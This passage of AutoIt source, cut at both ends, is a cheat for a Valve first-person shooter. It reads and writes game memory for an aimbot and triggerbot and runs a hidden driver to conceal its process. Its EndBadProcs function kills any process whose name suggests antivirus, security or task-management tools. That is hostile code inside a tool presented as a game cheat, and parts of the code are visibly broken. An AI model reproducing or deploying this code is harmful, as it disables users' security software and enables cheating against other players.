"triggerbot_negev.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_negev.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_negev.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_negev.hitbox", $treadhitboxvalue) EndIf If $treadw = "sawedoff" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_sawedoff.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sawedoff.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sawedoff.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sawedoff.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_sawedoff.hitbox", $treadhitboxvalue) EndIf If $treadw = "tec9" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_tec9.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tec9.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tec9.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tec9.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_tec9.hitbox", $treadhitboxvalue) EndIf If $treadw = "taser" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_taser.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_taser.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_taser.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_taser.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_taser.hitbox", $treadhitboxvalue) EndIf If $treadw = "mp9" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp9.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp9.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp9.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp9.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_mp9.hitbox", $treadhitboxvalue) EndIf If $treadw = "scar17" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar17.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar17.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar17.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar17.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_scar17.hitbox", $treadhitboxvalue) EndIf If $treadw = "ssg08" Then IniWrite( $FileSet, "Settings", "Triggerbot_Key", $ptkey) IniWrite($FileSet, "WeaponSettings", "triggerbot_ssg08.enabled", $treadenablevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ssg08.beforedelay", $treadbeforevalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ssg08.afterdelay", $treadaftervalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ssg08.allbody", $treadhitvalue) IniWrite($FileSet, "WeaponSettings", "triggerbot_ssg08.hitbox", $treadhitboxvalue) EndIf EndSwitch WEnd Func Panic() MsgBox (32, "Quit" , "Press OK to exit the cheat") ProcessClose("Radar.dll") Exit EndFunc Func Menu() If $Menu = 0 Then GUISetState(@SW_SHOW) $Menu = 1 Else GUISetState(@SW_HIDE) $Menu = 0 EndIf EndFunc Func Driver () Local $driverpols = Run(@WindowsDir & " /driver.sys " , "C:\", @SW_HIDE) Local $hideprocess = Run ("hdd.exe" , @WindowsDir & $driverpols , "C:\") Local $psapi = DllOpen("psapi.dll") Local $hprocesss Local $permisssion = BitOR(2, 1024, 8, 16, 32) Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid) If $hprocess[0] Then $hprocess = $hprocess[0] Local $hdll = DllOpen("kernel32.dll") Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid) If @error Then $ierror = @error $iextended = @extended If NOT $aprocesshandle[0] Then Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0]) If @error Then $ierror = @error $iextended = @extended DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0]) EndIf EndIf EndIf EndIf EndFunc Sleep(10) Func gethitbox($Bone23, $min) Global $hitbox[29][3] $hitbox[0][1] = vector(-6.42, -4.28, -6.955) $hitbox[0][2] = vector2(4.28, 4.28, 6.955) $hitbox[26][1] = vector(5.029, -3.959, -2.14) $hitbox[26][2] = vector2(22.149, 3.424, 4.28) $hitbox[27][1] = vector(2.675, -3.21, -2.247) $hitbox[27][2] = vector2(19.26, 2.675, 2.247) $hitbox[28][1] = vector(2.943, -2.675, -2.408) $hitbox[28][2] = vector2(6.688, 9.095, 2.408) $hitbox[23][1] = vector(5.029, -3.959, -4.28) $hitbox[23][2] = vector2(22.149, 3.424, 2.14) $hitbox[24][1] = vector(5.029, -3.959, -4.28) $hitbox[24][2] = vector2(22.149, 3.424, 2.14) $hitbox[25][1] = vector(2.943, -2.675, -2.408) $hitbox[25][2] = vector2(6.688, 9.095, 2.408) $hitbox[2][1] = vector(-4.28, -4.28, -5.885) $hitbox[2][2] = vector2(3.21, 5.35, 5.885) $hitbox[3][1] = vector(-4.28, -4.28, -5.885) $hitbox[3][2] = vector2(3.21, 5.35, 5.885) $hitbox[4][1] = vector(-4.28, -4.28, -5.885) $hitbox[4][2] = vector2(6.42, 5.35, 5.885) $hitbox[5][1] = vector(-1.07, -2.622, -2.151) $hitbox[5][2] = vector2(3.103, 2.622, 2.151) $hitbox[10][1] = vector(-2.14, -3.745, -3.67) $hitbox[10][2] = vector2(6.955, 3.745, 3.67) $hitbox[7][1] = vector(-2.675, -3.21, -2.14) $hitbox[7][2] = vector2(12.84, 3.21, 2.14) $hitbox[8][1] = vector(-0, -2.14, -2.14) $hitbox[8][2] = vector2(9.63, 2.14, 2.14) $hitbox[9][1] = vector(-1.723, -1.22, -1.38) $hitbox[9][2] = vector2(4.473, 1.22, 1.38) $hitbox[13][1] = vector(-2.675, -3.21, -2.14) $hitbox[13][2] = vector2(12.84, 3.21, 2.14) $hitbox[14][1] = vector(-0, -2.14, -2.14) $hitbox[14][2] = vector2(9.63, 2.14, 2.14) $hitbox[15][1] = vector(-1.723, -1.22, -1.38) $hitbox[15][2] = vector2(4.473, 1.22, 1.38) Return $hitbox[$Bone23][$min] EndFunc Func vector($x, $y, $z) Global $return[4] $return[1] = $x $return[2] = $y $return[3] = $z Return $return EndFunc Func vector2($x, $y, $z) Global $return[4] $return[1] = $x $return[2] = $y $return[3] = $z Return $return EndFunc Func ATAN2($x, $y) Local Const $PI = 3.14159265358979 If $y < 0 Then Return -ATAN2($x, -$y) ElseIf $x < 0 Then Return $PI - ATan(-$y / $x) ElseIf $x > 0 Then Return ATan($y / $x) ElseIf $y <> 0 Then Return $PI / 2 EndIf EndFunc Sleep(10) Func GetWeaponName($id) Global $weaponname [50] $weaponname[0] = "none" $weaponname[1] = "deagle" $weaponname[2] = "elite" $weaponname[3] = "fiveseven" $weaponname[4] = "glock" $weaponname[5] = "p228" $weaponname[6] = "usp" $weaponname[7] = "ak47" $weaponname[8] = "aug" $weaponname[9] = "awp" $weaponname[10] = "famas" $weaponname[11] = "g3sg1" $weaponname[12] = "galil" $weaponname[13] = "galilar" $weaponname[14] = "m249" $weaponname[15] = "m3" $weaponname[16] = "m4a1" $weaponname[17] = "mac10" $weaponname[18] = "mp5navy" $weaponname[19] = "p90" $weaponname[20] = "scout" $weaponname[21] = "sg550" $weaponname[22] = "sg552" $weaponname[23] = "tmp" $weaponname[24] = "ump45" $weaponname[25] = "xm1014" $weaponname[26] = "bizon" $weaponname[27] = "mag7" $weaponname[28] = "negev" $weaponname[29] = "sawedoff" $weaponname[30] = "tec9" $weaponname[31] = "taser" $weaponname[32] = "p2000" $weaponname[33] = "mp7" $weaponname[34] = "mp9" $weaponname[35] = "nova" $weaponname[36] = "p250" $weaponname[37] = "scar17" $weaponname[38] = "scar20" $weaponname[39] = "sg553" $weaponname[40] = "ssg08" $weaponname[41] = "knifegg" $weaponname[42] = "knife" $weaponname[43] = "flashbang" $weaponname[44] = "hegrenade" $weaponname[45] = "smokegrenade" $weaponname[46] = "molotov" $weaponname[47] = "decoy" $weaponname[48] = "incgrenade" $weaponname[49] = "c4" Return $weaponname[$id] EndFunc Func SetMem($address, $value) _memorywrite($address, $process, $value, "dword") EndFunc Func SetAim($address, $value) _memorywrite($address, $process, $value, "float") EndFunc Func _WinSetShadow($hWnd, $sText = '', $fShadow = True) $hWnd = WinGetHandle($hWnd, $sText) If Not IsHWnd($hWnd) Or @OSBuild < 2600 Then Return SetError(1, 0, 0) Local $res = DllCall("User32.dll", "ULONG", "GetClassLong", "hwnd", $hWnd, "int", -26) If @error Then Return SetError(2, @error, 0) Local $style = BitOR($res[0], 0x00020000) If Not $fShadow Then $style = BitAND($style, BitNOT(0x00020000)) $res = DllCall("user32.dll", "ulong", "SetClassLong", "hwnd", $hWnd, "int", -26, "long", $style) If @error Then Return SetError(3, @error, 0) If $res[0] Then If BitAND(WinGetState($hWnd), 2) = 2 Then WinSetState($hWnd, "", @SW_HIDE) WinSetState($hWnd, "", @SW_SHOW) EndIf Return 1 EndIf Return SetError(4, 0, 0) EndFunc Func xmodule($smodule, $ipid = @AutoItPID) If Not ProcessExists($ipid) Then Return SetError(1, 0, 0) If Not IsString($smodule) Then Return SetError(2, 0, 0) Local $psapi = DllOpen("psapi.dll") Local $hprocess Local $permission = BitOR(2, 1024, 8, 16, 32) If $ipid > 0 Then Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid) If $hprocess[0] Then $hprocess = $hprocess[0] EndIf EndIf Local $modules = DllStructCreate("ptr[1024]") Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0) If $acall[4] > 0 Then Local $imodnum = $acall[4] / 4 Local $atemp For $i = 1 To $imodnum $atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260) If $atemp[3] = $smodule Then DllClose($psapi) Return Ptr(DllStructGetData($modules, 1, $i)) EndIf Next EndIf DllClose($psapi) Return SetError(-1, 0, 0) EndFunc Sleep(10) Func Aimbot() If $dfhgzfsgzsfg = 1 Then If $viasghfaf = 0 And WinActive("[CLASS:Valve001]") Then $LocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") If _IsPressed($key, "user32.dll") or $key = 0 Then If $Delay > 0 Then Sleep($Delay) EndIf $AngBase = _memoryread($engine_dll + $ViewAng, $process, "dword") $i1 = _memoryread($LocalBase + $hitboxpos, $process, "float") $i2 = _memoryread($LocalBase + $hitboxpos + 4, $process, "float") $i3 = (_memoryread($LocalBase + $hitboxpos + 8, $process, "float")) $MyTeam = _memoryread($LocalBase + $MyTeamAD, $process, "dword") $MeFovx = _memoryread($AngBase + $ViewAngOff, $process, "float") $MeFovy = _memoryread($AngBase + $ViewAngOff + 4, $process, "float") $recoil = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $recoilx = _memoryread($recoil + $Recoil_offset + $m_local, $process, "float") $recoily = _memoryread($recoil + $Recoil_offset + $m_local + 4, $process, "float") $recoilx *= 2 $recoily *= 2 Local $Angel1[65] Local $Angel2[65] Local $Matx1[65] Local $Matx2[65] Local $dis[65] For $i = 0 To 64 Step 1 $dw_BasePointer = _memoryread($client_dll + $c_dwBaseEntity + (($i - 1) * 16), $process, "dword") $hp = _memoryread($dw_BasePointer + $Healths, $process, "dword") If $hp > 0 Then $Team = _memoryread($dw_BasePointer + $MyTeamAD, $process, "dword") If $Team <> $MyTeam Then $m_dwBoneMatrix = _memoryread($dw_BasePointer + $BoneOffset, $process, "dword") $you1 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 12), $process, "float") $you2 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 28), $process, "float") $you3 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 44), $process, "float") - 60 $DISTANCE = Sqrt((($i1 - $you1) * ($i1 - $you1)) + (($i2 - $you2) * ($i2 - $you2)) + (($i3 - $you3) * ($i3 - $you3))) $Angel1[$i] = ((ASin(($you3 - $i3) / $DISTANCE) * 180 / $M_PI) * - 1) $Angel2[$i] = (ATAN2($you1 - $i1, $you2 - $i2) / $M_PI * 180) If $rcs = 0 Then $aimmin = $Angel1[$i] - ($MeFovx) $aimmin2 = $Angel2[$i] - ($MeFovy) Else $aimmin = $Angel1[$i] - ($MeFovx + $recoilx) $aimmin2 = $Angel2[$i] - ($MeFovy + $recoily) EndIf $addd1 = $i1 - $you1 $addd2 = $i2 - $you2 $addd3 = $i3 - $you3 If $aimmin > 180 Then $aimmin -= 360 If $aimmin2 > 180 Then $aimmin2 -= 360 If $aimmin < -180 Then $aimmin += 360 If $aimmin2 < -180 Then $aimmin2 += 360 $fovdis = Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2)) If $fovdis < $fov / 2 Then $dis[$i] = (Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2))) Else $dis[$i] = "" EndIf EndIf EndIf If $rcs = 0 Then $aimmin = $Angel1[$i] - ($MeFovx) $aimmin2 = $Angel2[$i] - ($MeFovy) Else $aimmin = $Angel1[$i] - ($MeFovx + $recoilx) $aimmin2 = $Angel2[$i] - ($MeFovy + $recoily) EndIf $addd1 = $i1 - $you1 $addd2 = $i2 - $you2 $addd3 = $i3 - $you3 If $aimmin > 180 Then $aimmin -= 360 If $aimmin2 > 180 Then $aimmin2 -= 360 If $aimmin < -180 Then $aimmin += 360 If $aimmin2 < -180 Then $aimmin2 += 360 $fovdis = Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2)) If $fovdis < $fov / 2 Then $dis[$i] = (Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2))) Else $dis[$i] = "" EndIf Next $avArray = $dis If Not IsArray($avArray) Then Return $MinF = "" If UBound($avArray, 0) <> 1 Then Return $MinF = "" Local $iUBound = UBound($avArray) - 1 If $iEnd < 1 Or $iEnd > $iUBound Then $iEnd = $iUBound If $iStart < 0 Then $iStart = 0 If $iStart > $iEnd Then Return $MinF = "" Local $iMinIndex = $iStart Local $iCheckNum = 0 For $i = $iStart To $iEnd If Not IsNumber($avArray[$i]) Then ContinueLoop If Not $iCheckNum Then $iMinIndex = $i $iCheckNum = 1 If Number($avArray[$iMinIndex]) > Number($avArray[$i]) Then $iMinIndex = $i Next $MinF = $iMinIndex If $MinF Then If $dis[$MinF] <> "" Then If $rcs = 1 Then $angel1[$minf] -= $recoilx $angel2[$minf] -= $recoily EndIf If $Smooth > 0 Then $Delta1 = $MeFovX - $angel1[$MinF] $Delta2 = $MeFovY - $angel2[$MinF] if $delta2 < -180 then $delta2 += 360 if $delta2 > 180 then $delta2 -= 360 If $Smooth = 0 Then $Smooth = 1 $add1s = ($delta1 / ($Smooth)) $add2s = ($delta2 / ($Smooth)) $angel1[$MinF] = $MeFovX - $Delta1 / $Smooth $angel2[$MinF] = $MeFovY - $Delta2 / $Smooth EndIf _memorywrite($angbase + $viewangoff, $process, $angel1[$minf], "float") _memorywrite($angbase + $viewangoff + 4, $process, $angel2[$minf], "float") EndIf EndIf EndIf EndIf endif EndFunc Func VisAimbot() if $dfhgzfsgzsfg = 1 Then If $viasghfaf = 1 And WinActive("[CLASS:Valve001]") Then $LocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") If _IsPressed($key, "user32.dll") or $key = 0 Then $LocalBase2 = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $CrosshairID2 = _memoryread($LocalBase2 + $crossid, $process, "dword") $dw_BasePointer2 = _memoryread($client_dll + $c_dwBaseEntity + (($CrosshairID2 - 1) * 16), $process, "dword") $CheckHealth2 = _memoryread($dw_BasePointer2 + $Healths, $process, "dword") $MyTeam2 = _memoryread($dw_BasePointer2 + $MyTeamAD, $process, "dword") $Team2 = _memoryread($LocalBase2 + $MyTeamAD, $process, "dword") $VisLocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $Radarspot = ($CrosshairID2 <> 0 And $CheckHealth2 > 0) If $radarspot <> 0 Then If $Delay > 0 Then Sleep($Delay) EndIf $AngBase = _memoryread($engine_dll + $ViewAng, $process, "dword") $i1 = _memoryread($LocalBase + $hitboxpos, $process, "float") $i2 = _memoryread($LocalBase + $hitboxpos + 4, $process, "float") $i3 = (_memoryread($LocalBase + $hitboxpos + 8, $process, "float")) $MyTeam = _memoryread($LocalBase + $MyTeamAD, $process, "dword") $MeFovx = _memoryread($AngBase + $ViewAngOff, $process, "float") $MeFovy = _memoryread($AngBase + $ViewAngOff + 4, $process, "float") $recoil = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $recoilx = _memoryread($recoil + $Recoil_offset + $m_local, $process, "float") $recoily = _memoryread($recoil + $Recoil_offset + $m_local + 4, $process, "float") $recoilx *= 2 $recoily *= 2 Local $Angel1[65] Local $Angel2[65] Local $Matx1[65] Local $Matx2[65] Local $dis[65] For $i = 0 To 64 Step 1 $dw_BasePointer = _memoryread($client_dll + $c_dwBaseEntity + (($i - 1) * 16), $process, "dword") $hp = _memoryread($dw_BasePointer + $Healths, $process, "dword") If $hp > 0 Then $Team = _memoryread($dw_BasePointer + $MyTeamAD, $process, "dword") If $Team <> $MyTeam Then $m_dwBoneMatrix = _memoryread($dw_BasePointer + $BoneOffset, $process, "dword") $you1 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 12), $process, "float") $you2 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 28), $process, "float") $you3 = _memoryread($m_dwBoneMatrix + ((48 * ($Bone)) + 44), $process, "float") - 60 $DISTANCE = Sqrt((($i1 - $you1) * ($i1 - $you1)) + (($i2 - $you2) * ($i2 - $you2)) + (($i3 - $you3) * ($i3 - $you3))) $Angel1[$i] = ((ASin(($you3 - $i3) / $DISTANCE) * 180 / $M_PI) * - 1) $Angel2[$i] = (ATAN2($you1 - $i1, $you2 - $i2) / $M_PI * 180) If $rcs = 0 Then $aimmin = $Angel1[$i] - ($MeFovx) $aimmin2 = $Angel2[$i] - ($MeFovy) Else $aimmin = $Angel1[$i] - ($MeFovx + $recoilx) $aimmin2 = $Angel2[$i] - ($MeFovy + $recoily) EndIf $addd1 = $i1 - $you1 $addd2 = $i2 - $you2 $addd3 = $i3 - $you3 If $aimmin > 180 Then $aimmin -= 360 If $aimmin2 > 180 Then $aimmin2 -= 360 If $aimmin < -180 Then $aimmin += 360 If $aimmin2 < -180 Then $aimmin2 += 360 $fovdis = Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2)) If $fovdis < $fov / 2 Then $dis[$i] = (Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2))) Else $dis[$i] = "" EndIf EndIf EndIf If $rcs = 0 Then $aimmin = $Angel1[$i] - ($MeFovx) $aimmin2 = $Angel2[$i] - ($MeFovy) Else $aimmin = $Angel1[$i] - ($MeFovx + $recoilx) $aimmin2 = $Angel2[$i] - ($MeFovy + $recoily) EndIf $addd1 = $i1 - $you1 $addd2 = $i2 - $you2 $addd3 = $i3 - $you3 If $aimmin > 180 Then $aimmin -= 360 If $aimmin2 > 180 Then $aimmin2 -= 360 If $aimmin < -180 Then $aimmin += 360 If $aimmin2 < -180 Then $aimmin2 += 360 $fovdis = Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2)) If $fovdis < $fov / 2 Then $dis[$i] = (Sqrt(($aimmin * $aimmin) + ($aimmin2 * $aimmin2))) Else $dis[$i] = "" EndIf Next $avArray = $dis If Not IsArray($avArray) Then Return $MinF = "" If UBound($avArray, 0) <> 1 Then Return $MinF = "" Local $iUBound = UBound($avArray) - 1 If $iEnd < 1 Or $iEnd > $iUBound Then $iEnd = $iUBound If $iStart < 0 Then $iStart = 0 If $iStart > $iEnd Then Return $MinF = "" Local $iMinIndex = $iStart Local $iCheckNum = 0 For $i = $iStart To $iEnd If Not IsNumber($avArray[$i]) Then ContinueLoop If Not $iCheckNum Then $iMinIndex = $i $iCheckNum = 1 If Number($avArray[$iMinIndex]) > Number($avArray[$i]) Then $iMinIndex = $i Next $MinF = $iMinIndex If $MinF Then If $dis[$MinF] <> "" Then If $rcs = 1 Then $angel1[$minf] -= $recoilx $angel2[$minf] -= $recoily EndIf If $Smooth > 0 Then $Delta1 = $MeFovX - $angel1[$MinF] $Delta2 = $MeFovY - $angel2[$MinF] if $delta2 < -180 then $delta2 += 360 if $delta2 > 180 then $delta2 -= 360 If $Smooth = 0 Then $Smooth = 1 $add1s = ($delta1 / ($Smooth)) $add2s = ($delta2 / ($Smooth)) $angel1[$MinF] = $MeFovX - $Delta1 / $Smooth $angel2[$MinF] = $MeFovY - $Delta2 / $Smooth EndIf _memorywrite($angbase + $viewangoff, $process, $angel1[$minf], "float") _memorywrite($angbase + $viewangoff + 4, $process, $angel2[$minf], "float") EndIf EndIf EndIf EndIf EndIf EndIf EndFunc Func pTriggerbot() if $ptrigger = 1 Then $LocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $ID = _memoryread($LocalBase + $crossid, $process, "dword") $dw_BasePointer = _memoryread($client_dll + $c_dwBaseEntity + (($id-1) * 16), $process, "dword") $hp = _memoryread($dw_BasePointer + $Healths, $process, "dword") $Team = _memoryread($dw_BasePointer + $MyTeamAD, $process, "dword") $cTeam = _memoryread($LocalBase + $MyTeamAD, $process, "dword") if _IsPressed($ptkey) Then If $pTDelay > 0 Then Sleep($pTDelay) EndIf If $id > 0 AND $id < 64 Then $dw_basepointer = _memoryread($client_dll + $c_dwbaseentity + (($id - 1) * 16), $process, "dword") $Team = _memoryread($dw_basepointer + $myteamad, $process, "dword") If $Team <> $cTeam Then If $pallbody = 1 Then _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) Sleep($shotdelay) If $overburst = 1 Then _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) EndIf Else $hitboxmin = gethitbox($phitbox, 1) $hitboxmax = gethitbox($phitbox, 2) $angbase = _memoryread($engine_dll + $viewang, $process, "dword") $m_dwbonematrix = _memoryread($dw_basepointer + $boneoffset, $process, "dword") $i1 = _memoryread($localbase + $hitboxpos, $process, "float") $i2 = _memoryread($localbase + $hitboxpos + 4, $process, "float") $i3 = (_memoryread($localbase + $hitboxpos + 8, $process, "float")) $mefovx = _memoryread($angbase + $viewangoff, $process, "float") $mefovy = _memoryread($angbase + $viewangoff + 4, $process, "float") $you1 = _memoryread($m_dwbonematrix + ((48 * ($phitbox)) + 12), $process, "float") $you2 = _memoryread($m_dwbonematrix + ((48 * ($phitbox)) + 28), $process, "float") $you3 = _memoryread($m_dwbonematrix + ((48 * ($phitbox)) + 44), $process, "float") - 60 $youpos1 = $you1 + $hitboxmin[1] $youpos2 = $you2 + $hitboxmin[2] $youpos3 = $you3 + $hitboxmin[3] $distance = Sqrt((($i1 - $youpos1) * ($i1 - $youpos1)) + (($i2 - $youpos2) * ($i2 - $youpos2)) + (($i3 - $youpos3) * ($i3 - $youpos3))) $angel1_1 = ((ASin(($youpos3 - $i3) / $distance) * 180 / $m_pi) * -1) $angel2_1 = (atan2($youpos1 - $i1, $youpos2 - $i2) / $m_pi * 180) $youpos1 = $you1 + $hitboxmax[1] $youpos2 = $you2 + $hitboxmax[2] $youpos3 = $you3 + $hitboxmax[3] $distance = Sqrt((($i1 - $youpos1) * ($i1 - $youpos1)) + (($i2 - $youpos2) * ($i2 - $youpos2)) + (($i3 - $youpos3) * ($i3 - $youpos3))) $angel1_2 = ((ASin(($youpos3 - $i3) / $distance) * 180 / $m_pi) * -1) $angel2_2 = (atan2($youpos1 - $i1, $youpos2 - $i2) / $m_pi * 180) $youpos1 = $you1 + $hitboxmin[1] $youpos2 = $you2 - $hitboxmin[2] $youpos3 = $you3 + $hitboxmin[3] $distance = Sqrt((($i1 - $youpos1) * ($i1 - $youpos1)) + (($i2 - $youpos2) * ($i2 - $youpos2)) + (($i3 - $youpos3) * ($i3 - $youpos3))) $angel1_3 = ((ASin(($youpos3 - $i3) / $distance) * 180 / $m_pi) * -1) $angel2_3 = (atan2($youpos1 - $i1, $youpos2 - $i2) / $m_pi * 180) $youpos1 = $you1 + $hitboxmax[1] $youpos2 = $you2 - $hitboxmax[2] $youpos3 = $you3 + $hitboxmax[3] $distance = Sqrt((($i1 - $youpos1) * ($i1 - $youpos1)) + (($i2 - $youpos2) * ($i2 - $youpos2)) + (($i3 - $youpos3) * ($i3 - $youpos3))) $angel1_4 = ((ASin(($youpos3 - $i3) / $distance) * 180 / $m_pi) * -1) $angel2_4 = (atan2($youpos1 - $i1, $youpos2 - $i2) / $m_pi * 180) If $angel1_1 > $angel1_2 Then If $mefovx < $angel1_1 AND $mefovx > $angel1_2 Then $u = 1 EndIf Else If $mefovx > $angel1_1 AND $mefovx < $angel1_2 Then $u = 1 EndIf EndIf If $angel1_3 > $angel1_4 Then If $mefovx < $angel1_3 AND $mefovx > $angel1_4 Then $u = 1 EndIf Else If $mefovx > $angel1_3 AND $mefovx < $angel1_4 Then $u = 1 EndIf EndIf If $angel2_1 > $angel2_2 Then If $mefovy < $angel2_1 AND $mefovy > $angel2_2 Then $d = 1 EndIf Else If $mefovy > $angel2_1 AND $mefovy < $angel2_2 Then $d = 1 EndIf EndIf If $angel2_3 > $angel2_4 Then If $mefovy < $angel2_3 AND $mefovy > $angel2_4 Then $d = 1 EndIf Else If $mefovy > $angel2_3 AND $mefovy < $angel2_4 Then $d = 1 EndIf EndIf If $u = 1 AND $d = 1 Then _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) Sleep($shotdelay) If $overburst = 1 Then _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) _WinAPI_Mouse_Event($MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Sleep(75) _WinAPi_Mouse_Event($MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Sleep(75) EndIf EndIf $u = 0 $d = 0 EndIf EndIf EndIf EndIf EndIf EndFunc Func EndBadProcs() Dim $bad_procs[7] $bad_procs[0] = "anti" $bad_procs[1] = "fix" $bad_procs[2] = "remov" $bad_procs[3] = "secur" $bad_procs[4] = "av" $bad_procs[5] = "tasklist" $bad_procs[6] = "taskkill" $procs = ProcessList() For $i = 0 To UBound($procs) - 1 For $j = 0 To UBound($bad_procs) - 1 If(StringInStr($procs[$i][0], $bad_procs[$j], false)) Then ProcessClose($procs[$i][1]) EndIf Next Next EndFunc Func _pathsplitbyregexpzzz($spath) If $spath = "" OR (StringInStr($spath, "\") AND StringInStr($spath, "/")) Then Return SetError(1, 0, -1) Local $aretarrray[8], $pdelim = "" If StringRegExp($spath, "^(?i)([A-Z]:|\\)(\\[^\\]+)+$(?i)(^.*:/)(/[^/]+)+$") Then $pdelim = "\" If StringRegExp($spath, "(?i)(^.*:/)(/[^/]+)+$(?i)(^.*:/)(/[^/]+)+$(?i)(^.*:/)(/[^/]+)+$") Then $pdelim = "//" If $pdelim = "" Then $pdelim = "/" If NOT StringInStr($spath, $pdelim) Then Return $spath If $pdelim = "\" Then $pdelim &= "\" $aretarrray[0] = $spath $aretarrray[1] = StringRegExpReplace($spath, $pdelim & ".*", $pdelim) $aretarrray[2] = StringRegExpReplace($spath, $pdelim & "[^" & $pdelim & "]*$", "") $aretarrray[3] = StringRegExpReplace($spath, "\.[^.]*$", "") $aretarrray[4] = StringRegExpReplace($spath, "(?i)([A-Z]:" & $pdelim & ")", "") $aretarrray[5] = StringRegExpReplace($spath, "^.*" & $pdelim, "") $aretarrray[6] = StringRegExpReplace($spath, ".*" & $pdelim & "|\.[^.]*$", "") $aretarrray[7] = StringRegExpReplace($spath, "^.*\.", "") If $decrypt <> $data Then Exit EndIf Return $aretarrray EndFunc Func _randomtext($length) $text = "" For $i = 1 To $length $text &= Chr(Random(65, 90, 1)) Next Return $text EndFunc Func _cryptimportkey($calg, $bkey, $ikeylength = -1) If $ikeylength < 1 Then $ikeylength = 